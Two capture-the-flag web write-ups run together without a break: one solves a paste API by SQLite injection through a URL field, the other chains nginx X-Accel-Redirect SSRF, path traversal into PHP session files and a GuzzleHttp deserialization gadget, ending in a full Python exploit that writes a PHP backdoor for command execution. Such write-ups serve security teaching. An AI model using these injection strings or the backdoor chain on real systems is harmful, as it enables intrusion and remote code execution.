Upon opening the challenge link, we are shown an api description:

![Trashbin_Api](https://github.com/0x13A0F/CTF_Writeups/raw/master/bsides_algiers/images/1_1.png)

We can create a paste, delete it, read the entire paste, or only accessing a
particular field of the paste (text or title)

Even though this challenge was easy, we took quite a while to solve it,
because we went on a totally different path.

Let's start by creating a paste:

```bash  
th3jackers$ curl -X POST http://chall.bsidesalgiers.com:8001/paste/new -H
"Content-Type: application/json" -d '{"title":"just a title","text":"just a
content"}'

{"success":true,"url":"/paste/veisbzgx"}  
```

Let's read it

```bash  
th3jackers$ curl http://chall.bsidesalgiers.com:8001/paste/veisbzgx

{"success":true,"text":"just a content","title":"just a title"}  
```  
After few tries, it seems there is nothing interesting here, let's try reading
by field

```bash  
th3jackers$ curl http://chall.bsidesalgiers.com:8001/paste/veisbzgx/title

just a title

th3jackers$ curl http://chall.bsidesalgiers.com:8001/paste/veisbzgx/text

just a text  
```  
Humm ... it's a bit different here, there is no object returned.  
We tried injecting some stuff like 1+1 and indeed it returned 2 instead of an
error, same thing if we put a string (inside quotes).

we spent some time here trying to figure out how it works, how is it
evaluating inputs.

First we thought it was python-related (since this is a Flask app),maybe he is
fetching the paste from db, putting it in a dictionary and then trying to
access the dictionary by key, but this didn't make much sense.

Then, my team mate tried putting `*` as a field and this is what happened:

```bash  
th3jackers$ curl http://chall.bsidesalgiers.com:8001/paste/veisbzgx/*

veisbzgx  
```

Finally this was the trigger, my team mate guessed it must be a classic sql
injection :p and indeed it was Sqlite, we tried locally and sqlite returned
exactly the same output of all the different inputs we tried.

The rest was easy, first get the table name

```bash  
th3jackers$ curl
"http://chall.bsidesalgiers.com:8001/paste/veisbzgx/name%20from%20sqlite_master%20WHERE%20type='table'%20union%20select%20'x'"

pastes  
```

then get the id of the paste containing the flag

P.S: `union select 'x'` act as a comment because regular comments somehow
doesn't work.

```bash  
th3jackers$ curl
"http://chall.bsidesalgiers.com:8001/paste/veisbzgx/id%20from%20pastes%20where%20text%20like%20%22%shellmates%7B%%22%20%20union%20select%20'x'"

sp05m8vu  
```

```bash  
th3jackers$ curl "http://chall.bsidesalgiers.com:8001/paste/sp05m8vu/text"

shellmates{2021_y3t_sQl_1nj3ct10ns_4r3_st1ll_4_pr0bl3m}  
```

Flag: `shellmates{2021_y3t_sQl_1nj3ct10ns_4r3_st1ll_4_pr0bl3m}`# TeamItaly CTF 2023

## [web] TrashBin (0 solves)

## Overview

TrashBin is a request bin ~~clone~~ alternative, useful to log HTTP requests
and respond with custom data.

As it's made quite obvious by the `/readflag` binary, our final goal is to
reach RCE. Achieving that is not super straight-forward. TL;DR: SSRF + path
traversal + object deserialization.

### `X-Accel-Redirect`

The first step we need is getting SSRF in order to make arbitrary requests to
the `/internal/` endpoints blocked by the nginx configuration. Why we need
SSRF will become clearer later.

SSRF can be done by exploiting some less-known nginx featured, called
`X-Accel`.  
TL;DR, from the docs: "[X-accel allows for internal redirection to a location
determined by a header returned from a
backend](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)".
Basically it's a feature that can be used for authentication, but what we are
interested in is that it can be used to do SSRF and access endpoints defined
as `internal`.

Since TrashBin allows us to respond with custom headers to each request, we
can define a `X-Accel-Redirect` header that points to the PHP files inside the
`/internal/` directory.

Now what?

### Corrupting the session

PHP sessions are stored in temp files as serialized PHP objects. The
`rotate_logs.php` file reads and writes log files, but doesn't really validate
their content. We can exploit the not-so-precise regex used to extract
`$__BIN_ID` to achieve path traversal. For example, we can make a request to
`/internal/rotate_logs.php?id=/b/../../../../../tmp/sess_PHPSESSID` to start
fiddling around with session files.

We can create an account with a username using the following format:

```  
****PAYLOAD****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a  
```

This will be saved in the session file as something like this:

```  
id|s:36:"c6c6742d-3616-4bd1-9340-44eae65eb08b";username|s:106:"****PAYLOAD****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a"  
```

When `rotate_logs.php` is executed on this file, it will identify 21 log
entries and remove the first one, leaving us with something like

```  
PAYLOAD****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a"  
```

If we carefully craft our username, we can exploit the deserialization gadget
offered by the `GuzzleHttp` library[^1] in order to get arbitrary file write
and install a PHP backdoor on the server:

```python  
requests.post(f'{URL}', data={  
'username':
b'****id|s:36:"c6c6742d-3616-4bd1-9340-44eae65eb08b";pwn|O:31:"GuzzleHttp\\\Cookie\\\FileCookieJar":4:{s:36:"\x00GuzzleHttp\\\Cookie\\\CookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\\\Cookie\\\SetCookie":1:{s:33:"\x00GuzzleHttp\\\Cookie\\\SetCookie\x00data";a:10:{s:4:"Name";s:6:"custom";s:5:"Value";s:3:"asd";s:6:"Domain";s:11:"example.com";s:4:"Path";s:1:"/";s:7:"Max-
Age";N;s:7:"Expires";N;s:6:"Secure";b:0;s:7:"Discard";b:0;s:8:"HttpOnly";b:0;s:6:"custom";s:34:"";}}}s:39:"\x00GuzzleHttp\\\Cookie\\\CookieJar\x00strictMode";b:0;s:41:"\x00GuzzleHttp\\\Cookie\\\FileCookieJar\x00filename";s:35:"/app/trashbin/src/data/backdoor.php";s:52:"\x00GuzzleHttp\\\Cookie\\\FileCookieJar\x00storeSessionCookies";b:1;};username|s:95:"****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a'  
})  
```

At this point we only need to use the SSRF vulnerability and chain everything
together.

[^1]: GuzzleHttp defines a class called `FileCookieJar` that, on destruction,
saves all the cookies in the jar in a file on disk. You can define the file
location as well as the cookies, so you can inject PHP code anywhere you want.
Understanding how to generate the payload is left as an exercise to the reader
:)

### Full exploit

Here is the full automated python exploit:

```python  
session1 = requests.Session()  
session2 = requests.Session()

backdoor_name = ''.join(random.choices(string.ascii_letters, k=32)) + '.php'

# Register attack user  
session1.post(f'{URL}', data={  
'username':
b'****id|s:36:"c6c6742d-3616-4bd1-9340-44eae65eb08b";pwn|O:31:"GuzzleHttp\\\Cookie\\\FileCookieJar":4:{s:36:"\x00GuzzleHttp\\\Cookie\\\CookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\\\Cookie\\\SetCookie":1:{s:33:"\x00GuzzleHttp\\\Cookie\\\SetCookie\x00data";a:10:{s:4:"Name";s:6:"custom";s:5:"Value";s:3:"asd";s:6:"Domain";s:11:"example.com";s:4:"Path";s:1:"/";s:7:"Max-
Age";N;s:7:"Expires";N;s:6:"Secure";b:0;s:7:"Discard";b:0;s:8:"HttpOnly";b:0;s:6:"custom";s:34:"";}}}s:39:"\x00GuzzleHttp\\\Cookie\\\CookieJar\x00strictMode";b:0;s:41:"\x00GuzzleHttp\\\Cookie\\\FileCookieJar\x00filename";s:'
+ str(23 + len(backdoor_name)).encode() + b':"/app/trashbin/src/data/' +
backdoor_name.encode() +
b'";s:52:"\x00GuzzleHttp\\\Cookie\\\FileCookieJar\x00storeSessionCookies";b:1;};username|s:95:"****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a'  
})

# Register helper user  
res = session2.post(f'{URL}', data={  
'username': 'pianka'  
})

# Set response headers  
session2.post(res.url, data={  
'response': 'Thank you for your trash!',  
'headers': json.dumps({  
'X-Accel-Redirect':
f'/internal/rotate_logs.php?id=/b/../../../../../tmp/sess_{session1.cookies["PHPSESSID"]}'  
})  
})

# SSRF  
session2.get(res.url.replace('/m/', '/b/'))

# Install backdoor  
session1.get(URL)

# RCE  
res = session1.get(f'{URL}/data/{backdoor_name}?command=/readflag')  
print(res.text)  
```

Original writeup
(https://github.com/TeamItaly/TeamItalyCTF-2023/blob/master/TrashBin/README.md).